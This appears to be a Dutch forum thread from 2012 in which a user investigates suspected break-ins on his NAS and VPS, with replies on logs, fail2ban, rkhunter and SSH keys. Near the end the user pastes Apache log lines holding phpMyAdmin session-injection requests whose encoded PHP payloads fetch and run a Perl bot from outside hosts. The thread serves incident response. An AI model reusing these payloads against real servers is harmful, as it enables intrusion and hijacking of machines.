Relevante logs om intruders te vinden?

[Sando]

Ik schrik me dood, ik kan opeens niet meer in mijn NAS inloggen. Mijn wachtwoord is veranderd.

Vandaag deed de 'unlock screen' het niet meer. Ik was nog aangemeldt, zoals meestal.

Niemand heeft fysiek toegang tot de computer, maar hij was wel 'beschikbaar' over ssh. Iemand zou de verbinding moeten hebben gevonden en al erg lang aan het bruteforcen zijn. Of zou er toch ergens via via spyware meegekomen zijn?

Ik draai Ubuntu 11.10 met XFCE.

Het vreemde is dat het om mijn gewone user gaat. Via ssh probeert men toch alleen root, dus om het wachtwoord van een gewone user te weten denk je al snel aan iets wat neerkomt op spyware wat die user te pakken heeft.

Gister heb ik wel mijn Samba-wachtwoord verandert met smbpasswd, maar dat lijkt me niet relevant. Dat wachtwoord was en is compleet anders van mijn normale wachtwoord.

Is er iets waaraan ik kan zien of iemand binnen is geweest? Spyware is een stuk kutter dan een bruteforce want dan kan ik straks niet meer inloggen op tweakers en 10000 andere websites.

-edit-
auth.log
http://pastebin.com/7hnVLn8n

[ Voor 13% gewijzigd door Sando op 29-01-2012 16:29 ]

[CAPSLOCK2000]

Je log staat vol met meldingen van winbind, dus ik zou het toch in de Samba hoek zoeken. Het is niet ongebruikelijk om je samba-accounts aan je systeem-accounts te koppelen, misschien gaat daar iets fout.

[Sando]

Ik kan over samba gewoon inloggen. Maar mijn user wachtwoord is niet die nieuwe van samba, ook niet de oude van samba.

smbpasswd <user> vraagt:
old password:
new password:
new password:
En op geen van die plekken gebruik je je user password.

Wel heb ik dat stukje home mounts aangezet in de voorbeeldconfiguratie:

code:

[homes]
   comment = Home Directories
   browseable = no
   read only = no
   create mask = 0700
   directory mask = 0700
   valid users = %S

alleen volgens mij heb ik de server (of de daemon) niet herstart. Volgens mij moet je samba herstarten voor de config 'ingaat'.

Ik weet niet precies wat die winbind doet en wat lightdm er mee te maken heeft als ik gewoon vanaf mijn tablet of een andere computer een samba-share benader, maar ik hoop dat je gelijk hebt, dan hoef ik iig niet bang te zijn dat mijn computer is leeggejat vannacht.

Ik kan het nu even niet checken want ik ben nog niet thuis en ik heb de ethernetkabel van de NAS/htpc er uitgetrokken.

[ Voor 25% gewijzigd door Sando op 29-01-2012 17:00 ]

[H!GHGuY]

Ik denk dat je over SSH gebrute-forced bent:

Het staat vol van deze meldingen:

code:

Jan 29 11:31:56 htpc1 sshd[1030]: Failed password for invalid user hermes from 65.41.155.68 port 36374 ssh2
Jan 29 11:31:57 htpc1 sshd[1055]: Invalid user test from 65.41.155.68
Jan 29 11:31:57 htpc1 sshd[1055]: pam_unix(sshd:auth): check pass; user unknown
Jan 29 11:31:57 htpc1 sshd[1055]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=fl-65-41-155-68.sta.embarqhsd.net

[ Voor 5% gewijzigd door H!GHGuY op 29-01-2012 17:53 ]

[Sando]

Dat dacht ik ook, maar het staat ook weer niet vol genoeg met die meldingen. Of logt ie niet alles?

Ten eerste zie ik geen poging met de juiste username, ten tweede wordt elke naam maar een paar keer gebruikt.

Ik heb 'mezelf' weer teruggekaapt met een ander wachtwoord, maar ik zou graag willen weten wat er allemaal 'gestolen' is (if any) en hoe dit gebeurt is (eigen fout op een of andere manier, je weet het niet, of toch spyware, waardoor een ander wachtwoord ook niet lang helpt.)

[Verwijderd]

Een fastoenlijk wachtwoord wordt nooit geraden met brute force. Dat kun je dus gerust wegstrepen als je een random gegenereerd wachtwoord gebruikt dat lang genoeg is.

[CAPSLOCK2000]

Ik zie alleen maar "failed". Zie je ergens een inlogpoging die wel is gelukt?

[Sando]

Nee, maar staat alles in auth.log?
Dan vind ik dat al die intruders maar matig intruden. Ik had in een dag veel meer verwacht.

[CAPSLOCK2000]

Alles is een groot woord, maar een succesvolle inlogpoging zou ik daar wel verwachten, al is het in theorie natuurlijk mogelijk dat een kraker z'n sporen heeft opgeruimd uit die file. (Al zou ik persoonlijk dan ook de mislukte inlogpogingen opruimen).

Dat je wachtwoord niet meer werkt is verdacht, maar als dat gebeurt vlak nadat je zelf iets aan de wachtwoorden hebt veranderd zou ik er van uitgaan dat het een lokaal probleempje is.

Als je nu vanuit een kerncentrale voor deAIVD werkt zou ik geen risico nemen en direct de stekker uit die server trekken. Anders zou ik niet in paniek raken en voor de zekerheid wat tools als rkhunter draaien, maar er verder vanuit gaan dat ik het zelf heb verprutst. (Ik moet het even vragen: heb de CAPSLOCK aan staan?

[ Voor 3% gewijzigd door CAPSLOCK2000 op 30-01-2012 21:01 ]

[Gomez12]

Sando schreef op zondag 29 januari 2012 @ 22:20:
Nee, maar staat alles in auth.log?
Dan vind ik dat al die intruders maar matig intruden. Ik had in een dag veel meer verwacht.

Gaat het hier waarschijnlijk om root-access of enkel user-access?

User-access (mits je deze normaal / zinnig ingericht hebt) betekent dat het in de auth.log staat en dat de attacker het niet kan weghalen.

Btw, wat is dat gedoe daar rond regel 99. Die htpcuser mag op regel 104 een sudo uitvoeren en iets later weer.
Btw2 : Is uid 0 niet gewoon een kopie van root in ubuntu? Dat dacht ik tenminste, maar dan heb je redelijk wat dingen als root draaien

[Wolfboy]

CAPSLOCK2000 schreef op maandag 30 januari 2012 @ 21:00:
Alles is een groot woord, maar een succesvolle inlogpoging zou ik daar wel verwachten, al is het in theorie natuurlijk mogelijk dat een kraker z'n sporen heeft opgeruimd uit die file. (Al zou ik persoonlijk dan ook de mislukte inlogpogingen opruimen).

Dan zou ik al _mijn_ mislukte inlogpogingen opruimen

Als je een beetje slimme hacker hebt dan ruimt ie z'n eigen zooi zo op dat het niet opvalt dat het opgeruimt is.

[CrankyGamerOG]

CAPSLOCK2000 schreef op maandag 30 januari 2012 @ 21:00:
Anders zou ik niet in paniek raken en voor de zekerheid wat tools als rkhunter draaien, maar er verder vanuit gaan dat ik het zelf heb verprutst.

Achteraf rkhunter draaien heeft toch geen zin? Het doel is toch om RKhunter te installeren op een schone server, alwaar hij dan signatures(?) bijhoud van de binaries, alwaar hij bij een 2e run ze mee kan vergelijken?

Laat ik het zo zeggen, als er een rootkit is gebruikt om binnen te komen , is die allang weer opgeruimd en zijn willekeurige binaries(denk aan een gemodificeerde "ls", of een verstopte sshd onder een andere naam) aangepast. Daar kom je never ever ever meer achter(zonder dat het veel tijd kost).
Een goeie hacker ruimt juist niet de failed pogingen op naar mijn mening, je kan beredeneren dat zonder enige failed entry's het JUIST suspicious is.

[ Voor 44% gewijzigd door CrankyGamerOG op 01-02-2012 12:55 ]

[Verwijderd]

installeer anders ook Fail2ban,
HowTo's

[Verwijderd]

Ook wel eens leuk om de bepaalde IP in je log file the Whois-en.
Of gewoon in je browser plakken om te kijken of ze zelf iets hosten.


whois 211.144.37.41
% [whois.apnic.net node-1]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

inetnum: 211.144.32.0 - 211.144.63.255
netname: DRCSCNET
country: CN
descr: Development & Research Center of State Council Net.
descr: BeiJing
admin-c: LL143-AP
tech-c: LL143-AP
status: ALLOCATED PORTABLE
changed: [e-mail] 20030710
mnt-by: MAINT-CNNIC-AP
source: APNIC

person: Li Liang
nic-hdl: LL143-AP
e-mail: [e-mail]
address: No.225 Chaonei Street Dongcheng District Beijing China
phone: [phone]
fax-no: [phone]
country: CN
changed: [e-mail] 20030312
mnt-by: MAINT-CNNIC-AP
source: APNIC

[Sando]

Ik zal even naar RKhunter en Fail2ban kijken.
Poorten naar buiten blijven dicht totdat ik tijd heb gehad om even naar dergelijke tools te kijken.

CAPSLOCK2000 schreef op maandag 30 januari 2012 @ 21:00:
(Ik moet het even vragen: heb de CAPSLOCK aan staan?

Ooh dat was het, je hebt gelijk!!! thx

Nee was het maar zo
Ik trippelcheck dat altijd, en ik kon wel gewoon als root inloggen (wachtwoord ook case-sensitive) om vervolgens mijzelf een nieuw wachtwoord te geven.

Gomez12 schreef op maandag 30 januari 2012 @ 21:16:
Gaat het hier waarschijnlijk om root-access of enkel user-access?

No way to tell. Met allebei kan je user's wachtwoord veranderen, en als de eventuele inbreker niets rooterigs doet dan heb ik het niet door.

Btw, wat is dat gedoe daar rond regel 99. Die htpcuser mag op regel 104 een sudo uitvoeren en iets later weer.

Volgens mij log ik daar gewoon in via mijn telefoon ofzo en doe ik een sudo reboot now.
Ik draai een work in progress beta van XBMC en allerlei beta drivers, die crashen nog wel eens en een reboot is the only way out. Maar liever gewoon netjes ipv hard-reset.

Volgens mij is de boel redelijk standaard van de installatie. Doet Xubuntu standaard al die dingen niet als uid 0 root?

[CAPSLOCK2000]

Sando schreef op donderdag 02 februari 2012 @ 00:30:
Ooh dat was het, je hebt gelijk!!! thx

Nee was het maar zo
Ik trippelcheck dat altijd, en ik kon wel gewoon als root inloggen (wachtwoord ook case-sensitive) om vervolgens mijzelf een nieuw wachtwoord te geven.

Welkom in het computermuseum. Ik wist niet dat deze feature nog bestond.

30 jaar geleden waren er nog computers zonder kleine letters want dat kostte te veel geheugen. Als je als "ROOT" probeert in te loggen denkt het systeem dat je op zo'n antieke computer zit te werken.

[Visitor.q]

Verwijderd schreef op woensdag 01 februari 2012 @ 21:56:
installeer anders ook Fail2ban,
HowTo's

Mooi programma, gebruik het zelf op al mijn computers. In het kort, het banned een IP na X mislukte inlogpogingen voor een bepaalde tijd. Zo voorkom je in elk geval brute-force hacks die eigenlijk sowieso niet zouden mogen slagen. Fail2ban houdt ook zelf weer een log bij.

Verwijderd schreef op woensdag 01 februari 2012 @ 22:04:
Ook wel eens leuk om de bepaalde IP in je log file the Whois-en.
Of gewoon in je browser plakken om te kijken of ze zelf iets hosten.
<knip>

Ik wil de abuse afdeling weleens mailen als een IP continue bezig blijft, dus na meerdere bans gewoon doorgaan. Waarschijnlijk dweilen met de kraan maarja...

Wat verder wel leuk is (weet niet of dat op je NAS werkt) is Kippo. Je voorziet de zgn. hacker (scriptkiddie) dan van een shell en kunt meekijken/terugkijken wat ze nou eigenlijk aan het proberen zijn...

[Sando]

Mijn VPS is afgesloten omdat er abusive traffic vandaan kwam. Port scans en DDoS enzo.
Dat moet een hacker geweest zijn, want ik was het niet.

Anyway, ik dacht opeens terug aan dit hier. Ik kan niets bedenken op mijn VPS wat matig genoeg was om makkelijk binnen te komen. Het eerste wat in mij op komt is dat er toch een hacker was ingelogt op mijn systeem toen ik dit topic startte, en er met een ssh private key vandoor ging om in te loggen op mijn VPS.

Kan dat? Is een private key stand-alone voldoende om in te loggen, of is dat nog gebonden aan de user of iets anders wat ik niet weet?

Ik hoop dat ik nog bij de logs kan voordat mijn VM genuked wordt (of erger) want ik heb echt geen idee wat de oorzaak is.

[ Voor 14% gewijzigd door Sando op 23-02-2012 22:10 ]

[CAPSLOCK2000]

Dat kan. Zet daarom altijd een wachtwoord op je SSH-key, dan kan een ander er niks mee (totdat ze ook een keyboardsniffer installeren).
Er zijn tools die uitzoeken met welke systemen je verbinding hebt gehad en dan proberen in te loggen met je ssh-key, om het hele feest daar weer te herhalen.

Ik heb het in praktijk nog nooit gezien, maar het schijnt te bestaan.

[Sando]

Inmiddels heb even weer toegang tot mijn VPS om de boel te onderzoeken.

De abusive traffic is gedetecteerd op 21 februari. Ik ben de afgelopen twee weken niet ingelogd geweest. En de enige verdachte login entry is de volgende:

code:

redsandro pts/0 dhcp-xxx-xxx-xxx-xxx.chello.nl Thu Feb 16 20:58 - down (6+23:35)

(Dat is dus niet mijn ip-address maar heel toevallig wel een Nederlandse..)

Deze persoon was dus online ten tijde van de traffic, en ging offline omdat ik net de VM rebootte nadat ik de wachtwoorden veranderde en alle authorized_keys en id_rsa's verwijderde.

Los van de logins en maillogs weet ik niet zo goed wat ik verder kan onderzoeken. Ik wil natuurlijk graag weten HOE er in mijn VM is gekomen.

Voorbeeld van de vele klachten die tot de blokkering hebben geleid:

Hello,

Voxility has repeatedly detected an incoming flow of packets from your network that appears to be a flood attack.

Kindly ask you to notify your customer with that sending traffic with the purpose of disrupting a third party service is against anyone policies and law.

Flow details as detected by our border router :
Time of detection (GMT) : 2012-02-21 19:01:09
Time when the IP will be unblocked (GMT) : 2012-02-21 19:57:29

Cisco Netflow Report :
Report Date (GMT): 2012-02-21 19:01:06
Destination (IP:Port): 109.163.227.48:22
Protocol : 17 (UDP)
Bytes received:12837266
Packets: 279071
This flow duration: 17.664sec
Rate of Packets per Second: 15798
Average packet size: 46
TCP Flags:00
Type of Servce: 00

Thank you very much for your cooperation,
Regards,
Voxility NOC

-edit-

En ik heb op jouw advies een wachtwoord op mijn keys gezet. Defeats de purpose een heel klein beetje, maar je kan een soort van 'masterpassword' gebruiken.

[ Voor 21% gewijzigd door Sando op 24-02-2012 13:58 ]

[Thralas]

Als iemand een shell/bot spawned via een lekke webapp dan zie je sowieso niets in je login log. Niet eens een heel exotisch scenario, wat mij betreft

That said, ik neem aan dat je een passphrase op je SSH key had (en stond deze op je gehackte NAS?). In dat geval geloof ik niet dat de gemiddelde scriptkiddie je private key weet te bemachtigen.

Mocht je HashKnownHosts niet enabled hebben in je ssh-config, dan is het wel triviaal om wat interessante targets uit ~/.ssh/known_hosts te vissen.

Betreffende je VPS: probeer een image te bemachtigen, of rsync je rootfs. Loop vervolgens eens na wat je allemaal draaide op 't ding, of het off-the-shelf & al dan niet out-of-date was.

EDIT: Right, geen passphrase op je SSH private key? Een passphrase defeat de purpose niet, dat betekent dat je niet je sleutelbos op de deurmat achterlaat, bij wijze van spreke.

[ Voor 12% gewijzigd door Thralas op 23-02-2012 22:26 ]

[Sando]

Thralas schreef op donderdag 23 februari 2012 @ 22:23:
EDIT: Right, geen passphrase op je SSH private key? Een passphrase defeat de purpose niet, dat betekent dat je niet je sleutelbos op de deurmat achterlaat, bij wijze van spreke.

Ik had die keys juist aangemaakt om niet elke keer dat wachtwoord in te tiepen. Is niets mis mee, want mijn private key stond gewoon in mijn home. En home is encrypted**.

**) Vraag maar aan de devs van Pidgin en Filezilla, zij weigeren al 5 jaar een master password in te voeren omdat het hele universum volgens hen valt of staat met de encryptie van je home dir.

Als dit al is gebeurd door de diefstal van een private key, waar geen bewijs voor is, dan is dit wel een hele mooie usecase voor die Pidgin/Filezilla devs waar ik me wegens hun koppigheid ietwat aan erger.

Mocht je HashKnownHosts niet enabled hebben in je ssh-config, dan is het wel triviaal om wat interessante targets uit ~/.ssh/known_hosts te vissen.

Ah kut Omdat ik van de VPS host 'even' de tijd kreeg om snel te investigaten en repairen voordat mijn account zou worden stopgezet heb ik snel alles waar potentieel scripts en keys in stonden weggegooid. htdocs en users. Ik dacht dat alle logs toch wel in /var/log stonden. known_hosts in de haast niet aan gedacht.

[Sando]

Die fail2ban werkt trouwens ook niet, ik expres fout inloggen, kan gewoon steeds opnieuw proberen. Heb nog wel zo mooi /etc/fail2ban/jail.conf goed ingesteld en iptables is wel geinstalleerd.

[CAPSLOCK2000]

Sando schreef op donderdag 23 februari 2012 @ 22:35:
Ik had die keys juist aangemaakt om niet elke keer dat wachtwoord in te tiepen.

Daar is het niet voor gemaakt

Is niets mis mee, want mijn private key stond gewoon in mijn home. En home is encrypted**.

En daar heb je helemaal niks aan als iemand het systeem hacked terwijl jij er op zit te werken.

Als dit al is gebeurd door de diefstal van een private key, waar geen bewijs voor is, dan is dit wel een hele mooie usecase voor die Pidgin/Filezilla devs waar ik me wegens hun koppigheid ietwat aan erger.

Ik zou er ook maar van uit gaan dat het via een website gehacked is.

Ah kut Omdat ik van de VPS host 'even' de tijd kreeg om snel te investigaten en repairen voordat mijn account zou worden stopgezet heb ik snel alles waar potentieel scripts en keys in stonden weggegooid. htdocs en users. Ik dacht dat alle logs toch wel in /var/log stonden. known_hosts in de haast niet aan gedacht.

Dat heb je verkeerd begrepen. Die file laat zien met welke systemen jij verbinding hebt gehad en is handig voor de kraker. Jij hebt er niks aan (tenzij de kraker weer is doorgessht naar andere systemen).

[Sando]

CAPSLOCK2000 schreef op donderdag 23 februari 2012 @ 23:39:
En daar heb je helemaal niks aan als iemand het systeem hacked terwijl jij er op zit te werken.

Exact, het was dan ook een ironische opmerking omdat ik mijn les nu wel geleerd heb, en ik dus zou willen dat die Pidgin/Filezilla mensen deze les hadden geleerd.

Dat heb je verkeerd begrepen. Die file laat zien met welke systemen jij verbinding hebt gehad en is handig voor de kraker. Jij hebt er niks aan (tenzij de kraker weer is doorgessht naar andere systemen).

Bedankt voor de opheldering. Ik moet dus even HashKnownHosts aanzetten.

[Verwijderd]

wait wot? Omdat jouw VPS is gebruikt bij een DDOS attack moet jouw account opgeheven worden?

[Sando]

Als ik vandaag de oorzaak van het vijandige verkeer niet zou verhelpen, dan werdt het account opgeheven ja. Vet lelijk dat ze me maar 52 nanoseconden geven om dat te doen, want als ik een dagje weg was dan was ik mooi de lul. Maar los daarvan begrijp ik het wel.

[Sando]

Thralas schreef op donderdag 23 februari 2012 @ 22:23:
Mocht je HashKnownHosts niet enabled hebben in je ssh-config, dan is het wel triviaal om wat interessante targets uit ~/.ssh/known_hosts te vissen.

Hoe zet ik dat aan? Volgens google gewoon erbij zetten, maar dat werkt niet:

code:

# /etc/init.d/sshd restart
Stopping sshd:                                             [  OK  ]
Starting sshd: /etc/ssh/sshd_config: line 121: Bad configuration option: HashKnownHosts
/etc/ssh/sshd_config: terminating, 1 bad configuration options
                                                           [FAILED]

[DeBolle]

ssh_config, niet sshd_config:

code:

:~$ grep HashKnownHosts /etc/ssh/ssh_config 
    HashKnownHosts yes

[Sando]

-Update-

Het lijkt er op dat de eerder verdachte user niet de oorzaak van de inbraak was, omdat ik er via andere logs achter kwam dat ik rond die tijd ergens een screen-sessie vanaf mijn telefoon startte om wat geautomatiseerd onderhoud te doen. Ben vervolgens vergeten de sessie te beëindigen.

Daarom denk ik dat er toch via een gammel scriptje op mijn server is ingebroken. Waarschijnlijk een te lang niet verwijderde testsite met een verouderd cms.

Is er ook een log waarin ik kan vinden welke scripts zo rond 21 februari veel traffic genereerden?

@DeBolle dank voor de opheldering.

[ Voor 3% gewijzigd door Sando op 24-02-2012 14:02 ]

[CAPSLOCK2000]

Je zou eens in /var/log/apache kunnen kijken

[Sando]

Wat een bende. Het is even zoeken maar het eerste wat me opvalt is dit:

code:

121.14.241.135 - - [21/Feb/2012:04:44:21 +0300] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"
121.14.241.135 - - [21/Feb/2012:04:44:21 +0300] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"

met daarna 1000 phpmyadmin probes.

Dat gebeurde vaker, en deze hadden de juiste phpMyAdmin te pakken en probeerden iets:

code:

95.163.69.78 - - [22/Feb/2012:20:28:18 +0300] "GET /pma/index.php?session_to_unset=123&token=e3cacc34c86f28431290267e343f8c28&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_a33m9m2t03s5vaeu8b21p3u7cae2r5uf%22%3B%7D%7D&_SESSION[payload]=%3C%3Fphp+%0Aecho+exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+passthru%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+system%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png%3Bmv+apache_32.png+p.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2Fnyck.altervista.org%2Fapache_32.png+%3Ep.txt%3Bperl+p.txt%3Brm+-rf+%2A%27%29%3B%0A%0A%0A%3F%3E HTTP/1.1" 200 - "http://184.82.187.176/pma/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

code:

62.149.12.62 - - [21/Feb/2012:10:56:38 +0300] "GET /pma/index.php?session_to_unset=123&token=62db04d1c30d4ee5be46f36aec9cae08&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_3j1a5b8cdjs2lqt9mb3mhq06uq5u86i0%22%3B%7D%7D&_SESSION[payload]=%3C%3Fphp%0Aecho+exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+passthru%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+system%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bwget++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bfetch++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blwp-download++http%3A%2F%2F199.115.228.9%2Fvp.txt%3Bmv+vp.txt+phpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blynx+-DUMP++http%3A%2F%2F199.115.228.9%2Fvp.txt+%3Ephpinfo.php%3Bperl+phpinfo.php%3Brm+-rf+%2A.php+%2Atem%27%29%3B%0A%0A%0A%3F%3E HTTP/1.1" 200 40619 "http://184.82.187.186/pma/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"

---

Anyway, na fail2ban en denyhosts en PasswordAuthentication no kan ik niet meer inloggen via ssh of de controlpanel terminal, ookal zit ik op de computer met certificaten. Ook niet meer via FTP. Volgens mij moet ik mijn VM nuken, er zit niets anders op. En toch wat conservatiever zijn met beveiligingsopties, want hoe graag ik het ook wil, als je niet 100% exact weet wat je doet krijg je dit en heb je jezelf buiten gesloten.

Permission denied (publickey,gssapi-with-mic).

[ Voor 102% gewijzigd door Sando op 24-02-2012 17:17 ]

[CrankyGamerOG]

